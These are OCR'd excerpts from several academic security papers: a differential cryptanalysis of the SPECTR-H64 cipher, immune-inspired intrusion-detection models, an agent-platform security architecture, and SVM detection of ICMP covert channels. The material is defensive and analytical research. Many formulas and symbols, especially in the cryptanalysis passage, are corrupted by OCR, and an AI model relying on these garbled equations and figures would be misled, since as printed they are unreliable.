probability p(i’iﬂ) Pr (Ag"; H_1/5Pl)

3. The difference AP is formed at the output of the CP box P” with prob-

ability p; = 2™ = Pr (AP///ép )7 where m is the number of the elementary
boxes P/, controlled with active bit (m = 2,3 depending on 7).

4. After XORing differences A2|z i1 A;; iv1» and A(l):'” we have zero dif-

ference AF" at the input of the P* box. It passes this box with probability
py = Pr (AOP*/ég’*) =27

Cabe la correspopds to tl;le follovxf/ing set of the* events in the second round:
( 2|4, z-‘,—l/(S ) (Ag’h z+1/5(1)3 )’ (AOP /6(1)) )’ (AOP /60 )

Other cases can be described as follows (Vi,k: k € {1,2,...,32}, k#14, and
k7él+1) 1" 1" ’ /

Case 1b: (A 2\H+1/51|z)7 (A2P|z i+1/06 ) (AT /‘55’ ). (AT /7))

Case 1z (A 2|i,i+1/61 ): (AT /05 ), (AT /65 ) (A7 /52172 i+1)-

) R
AL p=27> +4%
0
T
Q\ R
A AV 10 i p(i,i+l)
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NI 3 61’”’ P=Pyg | 0
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Fig. 1. Formation of the two-round characteristic (Case 1a)
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There are possible some other mechanisms contributing to the probability of
the two-round characteristic and corresponding to generation the differences AF
at the output of the operation G (Case 5). Besides, due to the use of the mutually
inverse CP boxes Psy /59 and P{z}so there are possible significantly contributing
cases when the box Psy/59 generates an additional pair of active bits and the
box P3_2}80 annihilates this pair of active bits (Case 6).

Probability pi"t" = Pr (A, ;41/0%;) can be calculated considering the
avalanche effect corresponding to the operations G. Each input bit /; of G influ-
ences several output bits y; (except the 32nd input bit influences only the 32nd
output bit). The following formulas describe the avalanche caused by inverting

the bit ; (3 <i < 32):
PI‘(Ayi = 1/All = 1) = 1, PI‘(AyH_l = l/All = 1) = 1,
Pr(Ayix = 1/Al; = 1) =1/2, for k=2,3,4,5; i+ k<32

One can see that alteration of the input bit I;, where 3 < i < 27, causes de-
terministic alteration of two output bits y; and y;41 and probabilistic alteration
of the output bits y;12, ¥it3, Yitd, Yi+s5 Which change with probability p = 0.5.
Note that for ¢ = 1, 2 alteration of I; causes deterministic alteration of three out-
put bits y;, ¥i+1, and y;4+3. When passing trough the operation G the difference
A1L| ;, can be transformed with certain probability in the output differences Ag‘,
AG, .., AG.

Let p(r) = Pr ((A5, AF) 5 (A5, AF)) be the probability that the (Af, Af)
input difference transforms into the (A5, A%) output difference when passing
through r rounds. Note that A% denotes arbitrary difference with one active bit
in the right data subblock, i.e. AY denotes a batch of the one bit differences.
Probability P(2) of the two-round characteristic can be calculated using the
following formula: P(2) = >, p@p(i) = 1.15 - 2713, where p(i) = 27° is the
probability that after the fist round active bit moves to ith digit.

For each value i € {1,2,...,32} we have performed the statistic test 71,000
keys and 100,000 pairs of plaintexts” including 10® experiments in order to de-
termine the experimental probability p(¥) that AF passes the right branch of the
procedure Crypt in the case when in the left data subblock we have the differ-
ence Aﬁi. Let v; be the number of such events. Then we have p(9) = v;/108. We

have also calculated the probabilities p(*) taking into account the mechanisms of
the formation of the two-round characteristic described above. For all i theoretic
values p(¥) matches sufficiently well the experimental ones p(*). For example we
have p?D) = 1.25-279 p(2D) = 1.22.279; p(18) = 1,5.2710 5(18) =1 62.2-10;
p17 =1.0-271 $17 = 1.11 -2, This demonstrates that the most impor-
tant mechanisms of the formation of the two-round differential characteristic
correspond to Cases 1-6.

The performed analysis has shown that 21st and 18th digits contribute to
P(2) about 88% and 17th digit contributes to P(2) about 12%. Contribution
of other digits is very small. Such strongly non-uniform dependence p(* on i
is caused by several lacks in the structure of the extension box the E box,
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nevertheless the ten-round and twelve-round variants of SPECTR-H64 are secure
against DA. Indeed, the difference (A}, Af*) passes ten and twelve rounds with
probability P(10) ~ 27% and P(12) ~ 1.2 - 2777 (for random cipher we have
P = 25 . 2—64 — 2—59 > 2—64 > 2—77).

Taking into account that the E box is a critical part in the design of SPECTR-
H64 we have proposed the following variant of the E box:

Vi= (u21,U267U27,U24,U28,U27,U23,U24,u30,u267u32,u22,u24,u3o,u28yu22),
Vo= (uls, U9, U17, U29, U25, U20, U22, U25, U1, U19, U31, U23, U31, U21, U327U17),
Vs = (ugs, 20, Uzz, Uas, Uze, U2g, U30, U29, U7, U20, U1, ULT, U18, U19, U3, U23),
Vi = (ug, Uz, U16, Uy, U10, U1, U12, U13, Uld, ULs, Ug, U, U, U, Ug,y Us ),
Vs = (u10, U11, U12, U13, U1, U5, Ud, Uy, U, U3, U16, Us, Ue, UT, Us, U1 ),
where bits u; corresponds to vector U = (uq,usg, ..., ug2) that is input of the E
box and the output vector is V' = (V1, V4, ..., V). For the modified version (called
SPECTR-H64") we have obtained P(2) ~ 0.92 - 2722, For SPECTR-H64" the
most efficient differential characteristic is the three-round one for which we have
get P(3) =273,

3 Conclusion

Comparative analysis of different attacks against SPECTR-H64 shows that DA
is the most efficient one. Investigating security of SPECTR-H64 we have shown
that security of the DDP-based ciphers depends significantly on the structure of
the E box. The presented DA shows that twelve-round SPECTR-H64 is secure,
some optimization of its structure is possible though. Optimized eight-round
version SPECTR-H64™" has been proposed, for six rounds of which we have the
probability P(6) = 270 < 2759, Therefore one can conservatively estimate that
eight round SPECTR-H64" is secure against DA. Thus, due to optimization of
the E box structure we have reduced the number of rounds from 12 to 8. This sig-
nificantly reduces the hardware implementation cost and increases performance
for some implementation architectures.
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Abstract. The paper proposes an immunocomputing model of intrusion detec-
tion based on a mathematical notion of formal immune network. An application
example is provided using software emulator of an immunochip.

Keywords: immunocomputing, formal immune networks, immunochip

The biomolecular level of the natural immune system provides inspiration for various
mathematical models (see, e.g., [5]). However, the information processing capabilities
of artificial immune systems have only been recently appreciated [2], [4]. The
mathematical formalization of these capabilities forms the basis of the new immuno-
computing (IC) approach [11].

One of key notions of this approach is formal immune network (FIN) inspired by
N. Jerne’s network theory of the immune system [7]. Possible applications of FIN to
information security (IS) are discussed in [8].

The present paper develops an IC model of intrusion detection in computer net-
works. The model includes data fusion by singular value decomposition (SVD), and
pattern recognition by special variant of FIN. The model is implemented as a version
of software emulator of an immunochip [10]. A numerical example is provided by
using a model of local area network of US Air Force [1].

Generally, IS data are multi-dimensional real values. In principle, FIN is able to
pattern recognition over such data. However, more effective and visual data mining
can be provided by using the concept of low-dimensional “shape space” proposed by
[3]. An IC model of mapping real-life data to such shape space of FIN have been
proposed by [11]. This data fusion by IC is based on rigorous mathematical properties
of SVD. Consider a brief description of the IC model in terms of intrusion detection.

Let x, ..., x, be indicators of the network connection. Let X = [x,, ..., x,]' be col-
umn-vector of a network connection record, where """ is transposing symbol. Con-
sider a training matrix M = [X,,..., X,]' of dimension mxn, where X,,...,X, are records
of the network connections with known behavior: normal ("self") or intrusion ("non-
self"). Compute the SVD of this matrix and select some right singular vector R, as an
“antibody-probe”. Consider any network connection record vector Z, and define its
“binding energy” w(Z) = Z'R/s,, where s, is k-th singular value.

Thus, any n-dimensional vector Z can be reduced to one-dimensional value of its
binding energy with the probe. Selecting one, two, or three right singular vectors as
probes, we obtain the mapping of any n — dimensional data to one-, two- or three-
dimensional (1D, 2D, 3D) shape spaces. Note, that the reduction is optimal in the
sense of mean square error, according to the properties of SVD [6].
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Spatial FIN (sFIN) is proposed as an extension of FIN intended for pattern recogni-
tion applications. Define sFIN as a set:

SFIN = < R", m, w, Ah, B-cells >, B-cell = <S, P>,

where

R" is N-dimensional Euclidean space considered as the shape space of sFIN;

PeR" is N-dimensional vector (point of the shape space) considered as the formal
protein (FP), as well as the receptor of the B-cell;

m is the number of nearest neighbors of any B-cell;

w is the Euclidean distance considered as the binding energy between FPs:

w: R'XR*=R', w, = |P, -P|;

Ah is real value “mutation step”: 4h eR";

S is the state indicator of B-cell: S = {Itm, stm, del}, where Itm is long-term (mem-
ory) cell, stm is short-term (memory) cell, and del is deleted cell.

Rules of behavior of sFIN are as follows.

All B-cells update their states simultaneously in a discrete time ¢ = 0,1,2, ... .

Any B-cell B, has no more than m nearest neighbors, which correspond to m near-
est points in the shape space (rule B_neibor). B-cell updates its state as follows.

Short-term cell becomes deleted if it is close to any long-term cell (rule B_delete).

In case of deletion rule (B_delete), consider that long-term cell B, recognizes short-
term cell B, .

Short-term cell makes m copies (proliferates to the direction of the nearest
neighbors) if it isn't close to any cell (rule B_prolif).

Short-term cell becomes long-term cell if it is close to any short-term cell but isn’t
close to any long-term cell (rule B_interf).

Long-term cell drifts to the direction of the nearest long-term cell if the cells are
close (rule B_drift).

Two long-term cells B, B, fuse if they are identical (rule B_fusion).

If any new FP (antigen) P, intrudes to the SFIN, then new short-term cell (antigen
presenting cell) appears, which expose the intruder as the receptor (rule A_pres).

Note essential difference between SFIN and cellular automata. Namely, any cell of
cellular automaton has fixed nearest neighbors, while any cell of SFIN determines
such neighbors dynamically on any time step.

Note also essential difference between SFIN and immune network algorithms pro-
posed by [4]. The algorithms represent special case of genetic algorithms, because
immune cells are coded by bit strings and “mutate” by random rules. Unlike these
features, cells of SFIN are coded by real vectors and their behavior is deterministic.

Actually, SFIN represents special modification of so-called hybrid cellular auto-
mata, which applied successfully for the modeling of rather complex dynamical proc-
esses [9].

Consider numerical experiment with a fragment of a database of network connec-
tion records. This database utilizes a model of a typical local area network of US Air
Force [1].

The database fragment contains 106 records of 15 types of intrusions and normal
behavior. The fragment utilizes 33 characteristics of the network connection records,
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including lengths (number of seconds) of the connection, number of data bytes from
source to destination, data bytes from destination to source, and so forth.

According to the IC model of data fusion, consider a matrix M of dimension
106x33, and represent the 33-dimensional rows of the matrix as points in 3D shape
space of SFIN.

This representation has been computed and visualized by the immunochip emula-
tor. A screenshot of the emulator is shown in Fig. 1. The emulator allows user to se-
lect the most effective data fusion when points in the shape space form visual clusters
(see right-hand screen of the emulator). The representation corresponds to 2D shape
space formed by 5th and 6th right singular vectors.

B IMMUNOCHIP emulator 6.1 - SPATIAL FORMAL IMMUHE NETWORK - Initial Population
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Fig. 1. Immunochip emulator for intrusion detection

Consider these points as initial population of the following SFIN:
N=2, m=2, Ah=0.05, B-cells ={B}, S=Iltm, P=[w, , w,], i=1,...,106 ,

where w,, and w,, are binding energies of i-th string of the matrix M with right singular
vectors R, and R, .

Run simulation of SFIN behavior, and compute the steady population. After 12
generations, the population of such SFIN becomes steady. The population is reduced
to ten B-cells, which are shown in left-hand screen of the emulator.

This result represents a classification of network connections by 10 classes. Ac-
cording to [1], cells B, and B, recognize normal behavior of network connection,
while other cells B,-B,, B,-B,, recognize several types of intrusions.

Consider intrusion detection by the emulator.
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The input is any vector Z of the network connection record (see central dialog box
in Fig. 1). The emulator computes its binding energies with 5th and 6th right singular
vectors and map the vector Z to a point P={w,w,} in 2D shape space (see bold un-
numbered cross in both screens of the emulator). Then the emulator determines the
closest steady B-cell in left-hand screen, and thus, recognizes normal behavior (by the
classes 6, 7) or intrusion (by the other classes).

The test of 106 input records gave 4 “false positives” but none “false negative”.
The last result is more important, because none of intrusion (“non-self”’) was detected
as 'normal’ (“self””) connection. Besides, 4 normal connections corresponded to false
positive might be treated as dangerous, because their behavior looks similar to defi-
nite types of intrusions.
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Abstract. Security is a critical parameter for the expansion and wide usage of
agent technology. In this paper, the basic security services to deal effectively
with security threats existing throughout the agent life-cycle are identified. Se-
curity architecture in order to build a security service for Component Agent
Platform (CAP) is defined.

1 Introduction

Enterprises are increasingly dependent on their information systems to support their
business activities. Compromise of these systems either in terms of loss or inaccuracy
of information or competitors gaining access to it can be extremely costly.
Agent-based computing is a new paradigm to build Enterprise Information Infrastruc-
tures (EII). Different security issues for agents have been studied in the literature [2,
3, 4, 7]. Starting from the security needs for Agent Platform (AP), we propose in this
paper dynamic, extensible, configurable and interoperable security architecture for
agents residing on this platform and connecting from other APs to form federations.
On the one hand, this architecture extends security functions of each FIPA-compliant
AP component [1]: Directory Facilitator (DF), Agent Management System (AMS),
Agent Communication Channel (ACC), and Message Transport Service (MTS). On
the other hand, Agent Platform Security Manager (APSM) is defined composed of
Credential Manager (CM), Policies Manager (PM) and a cryptographic agent (CA).
All the components of the security architecture are analyzed while we also argue for
the benefits they offer.

2 Secure Agent Platform

In a heterogeneous multi-agent environment security becomes an extremely sensitive
issue. Security risks exist throughout the whole agent life-cycle: agent management,
registration, execution, agent-to-agent communication and user-agent interaction. A
secure system is a system that provides a number of services to a selected group of
agents and restricts the ways those services can be used. A security service is a soft-
ware or hardware layer that exports a safe interface out of an unprotected and possibly
dangerous primitive service. In order to build a security service we need a security
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architecture. The following six security threats can be identified in agent-based infra-
structure: disclosure, alteration, copy and replay, denial of service, repudiation and
spoofing and masquerading. Security architecture should provide special means to
handle these threats. In this section we review the role of each AP components in the
AP security architecture.

We connect the trust model of such an infrastructure with the trust model of real
world in order to make security critical decisions, basically means that we check if we
trust the entity an agent represents or an AP an agent resides on and indirectly trust
the agent. The connection between those two worlds, the virtual one of agents and the
real one is done via the digital certificates. A digital certificate is an object (file or
message) signed by a certification authority that certifies the value of a person’s public
key. X509 certificates of the ISO are the most popular, so we also adopt them in our
design.

If the AP is in any way considered being trusted, that trust must begin with the
AMS. The AMS should store all the information about agents in the AP in secure
storage (e.g. hashed) and also has to be able to receive registration information se-
curely too. In order to achieve this, the AMS may possess a private/public key pair
and associated certificate so that agents can talk to him in an encrypted way. This
provides the basis for inter-platform security from the message transport service and
assures confidentiality. Building security integrated at all levels involves some extra
processing that may not be appropriate in all cases, so in order to avoid it when it’s
not necessary, the required policies can be specified. The specifications of these poli-
cies are addressed in the Policies Manager.

A DF is a component of an AP that provides a yellow pages directory service to
agents. It is the trusted, benign custodian of the agent directory. An AP may support
any number of DFs and each DFs may register one to each other configuring federa-
tions. It means that actually it is possible that one malicious agent registers himself as
a DF (spoofing) in order to get information about other agents in the AP. This prob-
lem has been solved in our implementation by means of policies in the PM restricting
the possible DFs to some specified and authenticable agents.

An agent can have multiple certificates in situations where he has established pri-
vate/public key pairs for different policies, functions, or domains. With the addition of
certificates information to it, the DF essentially becomes a default repository for agent
certificates, but should not store sensitive information like private keys as all informa-
tion in the DF is made public. While the DF can be considered a form of certificate
repository, it is not a replacement for repositories that may be established as part of a
general, public key certificate infrastructure.

The agent residing on the AP, has to be able to manage its identity in one or multi-
ple domains and the certificates associated with the identity and roles that he has as-
sociated. The agent should be able to store securely its private keys and all the infor-
mation about his identity in order to avoid that someone can tamper with its code and
have access to this sensitive information.

The first activity that an agent performs upon creation is to register in the AMS of
his HAP and with the DF(s) he is interested in. Since successful registration with the
AMS is the only way to get access to the AP infrastructure this step should be secure
and requires the agent to be authenticated and the information he sends to be en-
crypted in order to avoid disclosure of sensitive information.
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Typically agents provide services to users and to other agents, when this is the
case; normally they have their own ACLs for these services, this gets complicated
when there are a big number of services provided by several agents. In this case cen-
tralized administration of service access policies has an advantage and complements
the local ACLs of agents.

3  The Agent Platform Security Manager

The Agent Platform Security Manager (APSM) is responsible for maintaining plat-
form and infrastructure security policies, authentication and run-time activities, such
as, communications, providing transport-level security, and creating audit trails. The
APSM is responsible (i) for negotiating the requested inter- and intra-domain security
services with other APSM’s on behalf of the agents and (ii) for enforcing the security
policy of its domain, and can at its discretion, upgrade the level of security requested
by an agent. The APSM cannot downgrade the level of services requested by an
agent, but must inform the agent that the service level requested cannot be provided
[1]. The functionality of the APSM (which is unique in an AP) is divided into three
parts, each of these parts associated with a specific component responsible for it. All
actions concerning the credentials (including management of the credential database)
are handled by the Credential Manager. The CM checks the validity of the certifi-
cates, updates them, maintains the local revocation list, etc. X509v3 certificates are
used as credentials in a heterogeneous environment with a key used as the primary
identification of a principal. In our approach, we assume that users have certificates
and that components of the AP also have certificates. The certificates of course as-
sume the existence of a public key infrastructure with certification authorities (CAs)
implemented in our case inside the CM. The other main activity of the CM is to pro-
vide authentication services for all the agents and components of the platform (for
details of the protocol implementation see [5]. This is a very important function since
as we have seen in the previous sections; authentication is the starting point for almost
all the desired security characteristics.

The Policy Manager (PM) is responsible for managing the policy schemes stored in
the policy database. The security policy defines the access each agent has to resources
and services. Signed agents can run with different privileges based of the identity of
the person who signed it. Thus users can tune their trade-off between security and
functionality (of course within limits given by the administrator).

Notification of malicious agents that have attacked other APs can be distributed in
the network. When the AP receives such a notification, it can add a line to platform’s
general policy (that is always checked first) that will not allow agents that bear those
malicious characteristics to get services within the AP.

This way, we have role-based policy, group policy, clearance labels, domains etc.
Furthermore by grouping policies we allow for faster execution times while trying to
enforce the policy. In the CAP, all security checks are identity-based in order for an
agent to enter a platform or request a service from other agents. After an agent suc-
cessfully registers in the CAP, future security checks become role-based. Thus we
don’t have each time to verify agent's credentials. We check only to see in which
platform the agent resides and what the appropriate policy for that platform is.
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Finally, it was decided that cryptographic mechanisms should not be built into the
APMS by itself, but rather be modeled as a service agent. The CA would be activated
by the APMS whenever encryption or decryption is needed. The advantage of this
modular design is that other components (even mobile agents) could use the function-
ality offered by CA. Furthermore, the platform could be made unaware of any addi-
tions or changes to cryptographic functions offered by this agent.

4 Conclusions and Future Work

A security architecture for agent based systems has been presented. The components
of the architecture have been briefly analyzed and explained. We tried to keep this
architecture transparent and simple to evolve and update it in order to cover future
requirements. Proposed architecture is compliant with the proposal of the FIPA. An
authentication algorithm has been developed and implemented. An extension of the
Component Agent Platform [6] has been proposed in order to achieve basic services
in authentication both in local and inter-domain scenarios.
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Abstract. TCP/IP protocol basically have much vulnerability in pro-
tocol itself. Specially, ICMP is ubiquitous to almost every TCP/IP based
network. Thereupon, many networks consider ICMP traffic to be benign
and will allow it to be passed through, unmolested. So, attackers can
tunnel(covert channel) any information they want through it. To detect
an ICMP covert channel, we use SVM which has excellent performance in
pattern classification. Our experiments show that the proposed method
can detect an ICMP covert channel among normal ICMP traffic using
SVM.

1 Introduction and Related Work

Covert channel isn’t a normal communication channel and is used for trans-
mitting special information to processes or users prevented from accessing the
information. In this paper, we propose a method which can detect a hidden data
loaded in ICMP payload. we focused a SVM to detect the covert channel used
in ICMP, which was proposed by Vapnik[3] in 1995 and is known as an efficient
classification method for complex pattern.

A security analysis for TCP/IP is found in [4]. John Mchugh[I] provides a
wealth of information on analyzing a system for covert channels. Paper[2] de-
scribes the possibility of generating covert channel in an ICMP protocol.

2 Support Vector Machine

SVM is a learning machine that plots training vectors in high-dimensional feature
space and classifies each vector by its class. SVM views the classification problem
as a quadratic optimization problem. They combine generalization control with
a technique to avoid the “curse of dimensionality” by maximizing the margin
between the different classes. SVM classifies data by determining a set of support
vectors, which are members of the set of training inputs that outline a hyper
plane in feature space[d].

3 Approaching for ICMP Covert Channel Detection

Among the various kinds of ICMP message, we focus on the ICMP echo request
and reply. ICMP packet has the option to include a data section(payload). The
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arbitrary contents of the payload can have various data according to the message
types of ICMP protocol and kinds of the operating system as illustrated in table
1. In case of the normal ICMP packet, it has insignificant values(garbage values)
or null values and so on. Namely, therein can be laid the covert channel.

Table 1. The Characteristic of ICMP payload

ICMP Payload
Null Packet [0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
Win Packet |0900 6162 6364 6566 6768 696a 6b6c 6d6e 6170 7172 7374 7576 7761
Solaris Packet| 50ec £53d 048f 0700 0809 0a0Ob 0cOd 0eOf 1011 1213 1415 1617 1819
Linux Packet [9077 063e 2dbd 0400 0809 0aOb 0cOd 0eOf 1011 1213 1415 1617 1819

ICMP covert channel is simple : Arbitrary information is tunneled in the
payload portion of ICMP echo and ICMP echo reply packets. At this time, the
characteristic of payloads of each operating system is normally same or it has
the successive change of one byte in payload. Also, because the rest 4 bytes of
ICMP header are dependent on the each ICMP message type, covert data can be
inserted into the rest of 4bytes of header sometimes. To generate covert data, we
use ICMP covert channel tool as called Loki[2]. Loki exploits the covert channel
that exists inside of ICMP echo traffic. This channel can exist because network
devices do not filter the contents of ICMP echo traffic[2].

15 dimensions

type | code

checksum Rest Of Header Payload

13 dimensions

type | code

checksum ‘ Rest Of Header Payload

Fig. 1. The features of SVM

We propose a detection method for ICMP covert channel. The method is
SVM and target is the payload part and the rest 4bytes of header of the ICMP
packet as illustrated in figure 1. We preprocess the collected raw packets to two
cases : one case is ICMP payload (13 dimensions) and second case ICMP payload
and the rest 4 bytes of ICMP header(15 dimensions). One dimension of prepro-
cessed data is comprised of two bytes. So, 13 dimension is converted to 26bytes
of ICMP payload and 15 dimension is converted to the rest of header(4bytes) +
26bytes ICMP payload. Each dimension is converted to decimal value, that is,
the hexa values of 16bits(2bytes) are rearranged by the integer value of decimal
in the raw dump values of packet.
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Table 2. SVM Training Data Set and Test Data Set

Data Set

Training Set1(Total 4000)

Training Set2(Total 4000)

Normal Packet

All typed ICMP packet(2000)

OS based ICMP packet(2000)

Abnormal Packet

Loki packet (2000)

Loki packet (2000)

Data Set

Test Setl (Total 1000)

Test Set2 (Total 1000)

Normal Packet

All typed ICMP packet(250)
+ OS based ICMP packet(250)

All typed ICMP packet(250)
+ OS based ICMP packet(250)

Abnormal Packet

Loki packets(500)

Loki packets(500)

4 Experiment Methods and Results

The SVM data set consist of the training set1, set2 and test set1, set2 as following
table 2. Normal ICMP packets are collected by a TCPdump tool. Abnormal
ICMP packets are generated by Loki. We preprocessed the raw packet values in
order to make training data and testing data. Each training data set is comprised
of 4000 packets. Training Set1 data consists of general ICMP packets. Training
Set2 data consists of ICMP packets depending on the characteristic of operating
systems. Also, abnormal packets are also generated by Loki, each training set
consists of 2000 packets. The test setl and test set2 consist of 500 normal packets
and 500 abnormal packets. Here, the normal packets of test set have 250 general
ICMP packets and 250 OS dependent packets. The abnormal packets of test set
consists of packets which are forged by Loki tool. SVM detection tool used is
the freeware package[6]. Also, to compare the detection performance, we used
the two SVM kernels : linear, polynomial. In case of the polynomial kernel,
the degree is fixed with 3. The parameters of SVM were tunned with training
setl and training set 2 each. For the two parameters of SVM, we tested two
cases of test set, i.e, test setl and test set2. The inputs were two cases, that
is, input dimensions are for dimension 13 and 15. The kernel functions used in
SVM are also polynomial and linear each. So, all test cases are 16. Table 3 shows
overall experiment results. The resultant graph of covert channel detection using
training set 1 is shown in figure 2. In case of the SVM training set, we can see
that it is more efficient to classify the abnormal packets when the general type of
ICMP packets are trained(The detection rate of Training Setl is 98.68%). Also,
we can see that detection performance is better in 15 dimension and is best in
polynomial kernel with degree of 3.

5 Conclusion

Covert channel attacks are an increasingly potential threat to the Internet envi-
ronments. We didn’t have the best solution for covert channel detection yet. The
goal of this paper was to propose the detection method for ICMP covert chan-
nels with SVM among the many covert channels. The preprocessing for SVM
learning to detect a covert channel consists of two cases: one case is only includ-
ing a ICMP payload and the other case is including a ICMP payload and the
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Table 3. The experiment results of ICMP covert channel detection

Test Setl Test Set2
Training Set| Kernel |Features| FP [FN[TC FP [FN[TC

13 2.510.4|97.1| 0.7 [0.7]98.6

Training Linear 15 1.1]0.8(98.1] 0 |0.6]99.4
Setl 13 0.2 0.6/99.2| 0 [0.8]99.2
Polynomial| 15 0.8 0.6/98.6/ 0 [0.8]99.2

13 [24.3|0.8|74.9|12.1]1.6(86.3

Training Linear 15 0 10.8199.2] 0 |0.6/99.4
Set2 13 3.810.6/95.6| 2.5 [1.0(96.5

Polynomial 15 0.8 10.6/98.6| 0 [0.2]99.8

*The degree of Polynomial Kernel = 3, FP = False Positive(%),
FN = False Negative(%), TC = Total Correctness(%)
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Fig. 2. The results of Training Set1

rest 4 bytes of ICMP header. We classified training set into training set 1 with
generally used ICMP packets and training set 2 with ICMP packets depending
on operating system. The experiment environment has been performed in a lab-
oratory test bed. The experiment results show that the detection provided by
SVM method is very efficient for ICMP covert channel.
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Abstract. The paper provides a computer immunology system with variable
configuration for intrusion detection in computer networks. For identify the in-
trusion detection in the computer network we have used the cytokines networks.
The application package intended for solving the tasks of construction and in-
vestigation of nonlinear interval time-delay mathematical models systems has
developed.

Keywords: intrusion detection, cytokines networks, interval mathematics
model, interval stability, and robustness

1 Introduction

Adaptive immune responses are generated following exposure to a foreign antigen.
The infected individual responds rapidly by production of specific antibodies made by
lymphocytes and by expansion and differentiation of effector and regulatory T lym-
phocytes [1, 3]. This response aimed at clearing the infectious agent is coordinated by
a network of highly specialized cells that communicate through cell surface molecular
interaction and through a complex set of intercellular communication molecules
known as cytokines and chemokines. The adaptive immune response is highly spe-
cific. Cytokines play important roles at different stages of the immune response, and
indeed are usually multifunctional.

One of the most intriguing features of the immune system is its multi-functionality.
Its cellular components are complex, contex-sensitive agents that respond in a non-
linear fashion to an enormously diverse set of signals from cytokines, chemokines and
direct cell-cell interactions. Further, the messenger molecules are typically expressed
by several cell types and are themselves multi-functional.

This paper is on the development of Computer Immunology System with variable
configuration for Surveillance Security Systems, including:

e the development of the structure of Computer Immunology System with variable
configuration;

e the development nonlinear interval dynamics time-delay mathematical model for
cytokines interactions Thi(t) — Th2(t);

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 465468, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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e polynomial approximation of experimental curves of two interacting Thl(t) — Th2(t)
systems by methods of Genetic Programming;

e parameter identification of the nonlinear interval dynamic time-delay mathematical
model of two interacting Thl(t) — Th2(t) systems by means of using the interval
methods of global unconstrained optimization;

e investigation of the dynamical properties (absolute stability, attraction and so on)
of nonlinear interval dynamic time-delay mathematical model with the nonlinearity
of the sector type.

Computer Immunology System with Variable Configuration has the next subsystems:

e analysis of the state computer network on the base principle of cytokines interac-
tions Thi(t) — Th2(t) systems (strong state or intrusion state);

e pattern recognition procedures of the non-standard alarm information;

e attraction, stabilization and putting into operation.

These subsystems allows to decide the next tasks:

e parameter identification in the conception of “input-output” mapping with the use dis-
crete analogues of the Volterra series known as Gabor-Kolmogorov polynomials (power
series) on the base Genetic Programming;

e parameter identification in the form of nonlinear interval dynamic time-delay equations;
investigation the dynamics properties (absolute stability, attraction) these equations with the
use of Lyapunov-Klassovsky functional.

2  Main Results

Cytokines are small protein messenger molecules that convey information from one
cell to another. The relationship between cytokines and their specific receptors is
very complex. As it is known the cytokines networks have the next properties:

e combinatorial complexity since the number of potential interactions between indi-
vidual elements (e.g. proteins) in a system grows extremely rapidly with the num-
ber of elements;

e negative and positive feedback loops operate at various levels.
delays, for instance, when a T-cell receives a proliferate signal, it first needs to
synthesize DNA and undergo the biochemical changes required for cell division;

e nonlinearity is all-pervasive in these systems, and indeed is essential for their
functioning.

Mathematical models of two interacting Thi(t)-Th2(t) systems have been investigated
with a variety of approaches and areas of emphasis in [1,3]. Such properties as the
regulation by cytokines, T cell activation, proliferation, death and so on were learning
there. However, these models haven’t time-delay. Also in these mathematical models
the next considerable factor did not include. Many processes in the interacting Thi(t)-
Th2(t) systems are uncertain. This uncertainty has as a rule, a non-statistic nature, or
there is not enough information in order to refer it to one of the group of random
processes. The parametric uncertainties are characterized by a relationship of the true
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values of the parameters to intervals. These have the known boundaries. Actually the
interval model of a system mirrors a real situation with the information on values of
its parameters, when a priori only the boundaries of interval are known. Therefore,
using the rules and nomenclature of interval mathematics we can represent it as
mathematical model.

This paper we have used two conceptions of mathematical description of complex
systems. The first conception — “‘state space” — describes a system by means of
using differential or differences (deterministic, stochastic or interval) equations. The
second one — “input-output” mapping— describes a system by means of using the
deterministic (stochastic) Volterra series or discrete analogues of the Volterra series
known as Gabor-Kolmogorov polynomials known as power series.

For mathematical modeling the dynamics of two interacting Thi(t) —Th2(t) systems
the Genetic Programming approach have used with Gabor- Kolmogorov polynomials
which are defined by the power series:

Moodo
m=l  j=1 °
where a,, are the term coefficients, m ranges up to a pre-selected maximum number of

terms M: m <M; X ; are the independent variable values of the input vector x, j < d

numbers; and IS 0, 1, are the powers with which the j-th element X b participates in

the m-rh term. It is assumed that r,, is bound by a maximum polynomial order (degree) s:

?:] Vim < s forevery m. The results of solving the task of parameter identification

for dynamics of changing Thl (t) and Th2 (t) on the base of Genetic Programming
have been produced.

The results of solving the task of parameter identification for dynamics of two in-
teraction Thl(t) and Th2(t) systems have been used for receiving the dynamics
mathematical model. This mathematical model is given in the state space as interval
functional-differential delay type inclusions having the following vector-matrix view:

X (1) € AX(t) + AX(t - T) + bu(t),
X(t()) = X()) te [t()r o )y
X(1) = 0, 6), 6E [to—1, to], u(t) = ¢(c), o = r'X(t), (1

where X(t) = (Thl(t), Th2(t)) - states vector, Thl, Th2 are continuous functions at
[t, o), i.e. Thi(t) € C[t, o), i = 1, 2; A, A, — interval matrices the corresponding
dimension; b - an interval vector, b = (b,),b,=[b, b, ], i =1,..., m, b, < b, - the low
and upper boundaries of interval; u(t) € C [t, o ) — nonlinear function that satisfies
the relation u(t) = ¢(c), 0 = r'X(t), ¢(o) - a continuous differentiable function, ¢:
R—>R, such, that true the following inequality is F(X,u)=0, where F(X,u) - a real
quadratic form of the variables X and u; the value ¢ € R is determined according to
the expression ¢ = r'X(t), r€ R", T - delay.

The absolute stability conditions of (/) is founded on using the functional defined
on segments of integral curves of motion tubes of the nonlinear system:
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V(X(@E+s)t)=X"()HX )+ f[X" t+v)DX(t+v)dv + 0j¢(a)da ,

where HE R™", H = H' - a symmetric positive-definite matrix, D = diag {d>0, i = 1,
m} — a diagonal matrix, 6€ R* — a nonnegative number. This algebraic criterion
allows investigating the absolute stability property of stationary set (/) and does not
require large amount of computations.

The mathematical description of Computer Immunology System with Variable
Configuration and numerical examples intended for the analysis of strong state or
intrusion state with information security data on the base the presented results have
been created. The application package intended for the solving of aforementioned
tasks has been developed.
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